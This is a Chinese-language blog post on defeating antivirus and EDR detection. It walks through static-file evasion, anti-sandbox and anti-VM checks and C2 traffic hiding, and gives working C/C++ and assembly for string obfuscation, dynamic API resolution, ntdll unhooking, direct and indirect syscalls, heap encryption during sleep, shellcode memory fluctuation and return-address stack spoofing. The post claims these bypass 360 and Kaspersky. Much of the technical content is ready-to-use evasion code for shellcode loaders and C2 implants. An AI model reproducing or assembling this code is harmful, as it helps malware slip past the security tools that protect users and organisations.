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Defense Evasion(防御规避)

干杯Security

54

2024-07-13

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0x00 前言

终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!

0x01 Static Analysis Evasion(静态文件规避)

一、检测机制

  • 基于签名的检测:文件hash、特征码、文件名、图标

  • 启发式查杀:导入导出表、API调用链

  • 文件熵分析:文件中字节的熵

  • 元数据分析:编译器、时间戳、数字签名

  • PE节表:PE文件中异常节

  • 机器学习:例如常见的QVM HEUR 202

二、规避技巧

  • 加密/压缩:使用自实现加密算法

  • 常规方法:

  • XOR

  • Base64

  • AES

  • RC4

  • 针对shellcode的检测

  • 代码混淆:混淆源代码(llvm+pass、ollvm)

  • 控制流平坦化

  • 虚假控制流

  • 指定替换

  • Pass插件

  • LLVM 混淆

  • OLLVM 混淆

  • 字符串加密:避免基于字符串的检测

  • 利用C++模板:constexpr 编译时间字符串加密

    示例代码:

    `template<size_t size>`    `constexpr auto obfuscate(const char plaintext[size])``{`        `MetaString<size> obfuscated;``   `        `for (size_t i = 0; i < size - 1; i++)`            `obfuscated.buff[i] = plaintext[i] ^ key[i % sizeof(key)];``   `        `obfuscated.buff[size - 1] = 0;``   `        `return obfuscated;`    `}``   ``#define ENCODE(x) []() { constexpr auto encoded = obfstr::obfuscate<sizeof(x)>(x); return encoded; }()``#define OBFSTR(x) ENCODE(x).deobfuscate()`

效果如下:

  • 动态加载windows api:隐藏导入表

    使用

    GetProcAddress()

    GetModuleHandle()

    动态获取windows API,隐藏导入表

    示例代码:

`typedef int(WINAPI* pMessageBoxW)(`  `HWND    hWnd,`  `LPCTSTR lpText,`  `LPCTSTR lpCaption,`  `UINT    uType`  `);``   ``int main()``{`  `pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA");`  `MyMessageBox(0, 0, 0, 0);`  `return 0;``}`
  • 效果如下:

  • 降低文件熵

  • shellcode 转 English words

  • MAC、IPV4、IPV6、UUID编码

  • 分离加载(远程拉取或突破隐写)

  • 添加大资源文件

  • 加壳:自写壳、商业壳

  • UPX

  • VMProtect

  • Shielden

  • Themida

  • ASPack

  • Enigma Protector

  • 模拟正常文件:签名、文件名、图标、属性信息、资源

    给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件,使文件看起来更加合法,以规避启发式查杀

    以360为例,常规我们编译出来的文件经常爆QVM202,但是当我们添加资源文件后,我们即可绕过QVM202

  • 动态生成

  • 动态生成加密key

  • 动态编译生成文件

  • ......

0x02 Dynamic Behavioral Evasion (动态行为规避)

一、检测机制

  • Sandbox:沙箱运行观察判断行为是否恶意

  • 子进程/线程创建:例如监控Cmd.exe、Powershell.exe

  • 敏感高危操作:修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….

  • 敏感目录读写:注册表、自启动目录

  • 进程链检测:监控父子进程间关系判断是否异常,例如word.exe—powershell.exe

  • 代码注入检测:例如远程线程注入、DLL注入等等

  • 网络通信:监控网络流量,分析可能的C2流量

  • API调用:Hook 常见 Windows API

二、规避技巧

  • Anti sandbox:反沙箱

  • 使用质数运算延迟执行

  • 检测系统开机时间是否大于某个设定值

  • 检测物理内存是否大于4G

  • 检测CPU核心数是否大于4

  • 检测文件名是否修改

  • 检测磁盘大小是否大于100G

  • 判断是否有参数代入

  • Anti VM:反虚拟机

  • 检测进程名

  • 检测注册表

  • 检测磁盘中文件

    如图:

  • Unhook:从磁盘加载ntdll

通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果

示例代码:

  `HANDLE process = GetCurrentProcess();`  `MODULEINFO mi = {};`  `HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");`  `  GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));`  `LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;`  `HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);`  `HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);`  `LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);``   `  `PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;`  `PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);``   `  `for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {`    `PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));`    `    if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {`      `DWORD oldProtection = 0;`      `bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);`      `memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);`      `isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);`    `}`  `}`  `  CloseHandle(process);`  `CloseHandle(ntdllFile);`  `CloseHandle(ntdllMapping);`  `FreeLibrary(ntdllModule);`  `  return 0;`
  • Syscall:Direct syscall、Indirect syscall

  • Direct syscall

    示例代码:

    `NtAllocateVirtualMemory PROC`    `mov r10, rcx``     mov eax, wNtAllocateVirtualMemory                ``     syscall                                          ``ret`                                             `NtAllocateVirtualMemory ENDP`                        `   ``UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");``wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];`
    
  • Indirect syscall

    示例代码:

`NtWriteVirtualMemory PROC`    `mov r10, rcx`    `mov eax, wNtWriteVirtualMemory`    `jmp QWORD PTR [sysAddrNtWriteVirtualMemory]``NtWriteVirtualMemory ENDP``   `  `UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");``   ``wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];``sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;`
  • PE in Memory:内存加载

  • 利用 Inline-Execute-PE  在内存中加载运行PE文件

  • 利用 BOF.NET 在内存中执行.NET程序集文件

  • 进程断链:断掉父子进程链

  • 利用模拟运行断链

  • 利用WMIC断链

  • 利用Com断链

0x03 Memory Scanners Evasion (内存扫描规避)

一、检测机制

  • 内存扫描:扫描内存查找注入的恶意代码,并检测进程内存空间中的可疑API调用

  • 检测项:进程信息、shellcode特征、堆栈、内存映像

二、规避技巧

  • 睡眠混淆:hook sleep函数,实现内存加密和解密

Heap  Encryption

通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:

`void WINAPI HookedSleep(DWORD dwMiliseconds) {`        `DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());`        `HeapEncryptDecrypt();``   `        `OldSleep(dwMiliseconds);``   `        `HeapEncryptDecrypt();`        `DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());``}`
关键部分代码,加密堆内存:  

`static PROCESS_HEAP_ENTRY entry;``VOID HeapEncryptDecrypt() {`    `SecureZeroMemory(&entry, sizeof(entry));`    `while (HeapWalk(currentHeap, &entry)) {`        `if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {`            `XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);`        `}`    `}``}`
  • ShellcodeFluctuation
  1. Hook Sleep 函数

  2. 定位内存中的shellcode

  3. 睡眠期间翻转为RW

  4. 睡眠结束翻转为RX

  5. 无限循环,以此规避内存扫描

关键部分代码:

XOR加密:

`void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)``{`    `uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);``   `    `auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;`    `for (size_t i = 0; i < bufSizeRounded; i++)`    `{`        `buf32[i] ^= xorKey;`    `}``   `    `for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)`    `{`        `buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);`    `}``}`
定位内存中的shellcode地址:  

`bool isShellcodeThread(LPVOID address)``{`    `MEMORY_BASIC_INFORMATION mbi = { 0 };`    `if (VirtualQuery(address, &mbi, sizeof(mbi)))`    `{`        `//`        `// To verify whether address belongs to the shellcode's allocation, we can simply`        `// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.`        `//`        `if (mbi.Type == MEM_PRIVATE)`        `{`            `const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;``   `            `return ((mbi.Protect & PAGE_EXECUTE_READ)``                || (mbi.Protect & PAGE_EXECUTE_READWRITE)`                `|| (mbi.Protect & expectedProtection));`        `}`    `}``   `    `return false;``}``   `
加密和解密shellcode:  

`void shellcodeEncryptDecrypt(LPVOID callerAddress)``{`    `if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)`    `{`        `if (!isShellcodeThread(callerAddress))`            `return;``   `        `DWORD oldProt = 0;``   `        `if (!g_fluctuationData.currentlyEncrypted``            || (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))`        `{`            `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `PAGE_READWRITE,`                `&g_fluctuationData.protect`            `);``   `            `log("[>] Flipped to RW.");`        `}`        `        log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");``   `        `xor32(`            `reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),`            `g_fluctuationData.shellcodeSize,`            `g_fluctuationData.encodeKey`        `);``   `        `if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)`        `{`            `//`            `// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE`            `// and our previously set up vectored exception handler should catch invalid memory access, flip back memory`            `// protections and resume the execution.`            `//``            // Be sure to check out ORCA666's original implementation here:`            `//      https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285`            `//``   `            `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `PAGE_NOACCESS,`                `&oldProt`            `);``   `            `log("[>] Flipped to No Access.\n");`        `}`        `else if (g_fluctuationData.currentlyEncrypted)`        `{`            `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `g_fluctuationData.protect,`                `&oldProt`            `);``   `            `log("[<] Flipped back to RX/RWX.\n");`        `}``   `        `g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;`    `}``}`
效果:  

Bypass Kasperskey Memory Scanner:

  1. Hook Sleep 函数

  2. 定位内存中的shellcode

  3. 睡眠期间翻转为RW

  4. 睡眠结束翻转为RX

  5. 无限循环,以此规避内存扫描

  • 线程堆栈欺骗:欺骗线程堆栈返回地址

    默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode

    最简单的方法,直接用0覆盖返回地址,从而截断堆栈

    关键代码

`void WINAPI MySleep(DWORD _dwMilliseconds)``{`    `const register DWORD dwMilliseconds = _dwMilliseconds;``   `    `// Perform this (current) thread call stack spoofing.`    `PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();`    `const register ULONG_PTR origReturnAddress = *overwrite;``   `    `log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");`    `*overwrite = 0;``   `    `log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");``   `    `// Perform sleep emulating originally hooked functionality.`    `::SleepEx(dwMilliseconds, false);``   `    `// Restore original thread's call stack.`    `log("[<] Restoring original return address...");`    `*overwrite = origReturnAddress;``}`

效果对比:

默认线程调用堆栈:

欺骗后的线程调用堆栈:

  • 总结:

    堆栈欺骗+内存加密配合使用实战效果极佳,参考Cobalt Strike 4.7的SleepMask

0x04 Network traffic Evasion(网络流量规避)

一、检测机制

  • 威胁情报:IP、域名

  • 流量特征:固定通信流量特征

二、规避技巧

  • 使用HTTPS

  • 云函数

  • 域前置

  • 更改C2、webshell等工具通信流量

0x05 总结

抛出沙龙上,交流提出的两个问题。

  • 以后杀软的发展趋势会着重在哪些地方?

  • 以后对抗难点会在哪些地方?

逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!

最后公众号后台回复终端对抗,获取作者联系方式哈。

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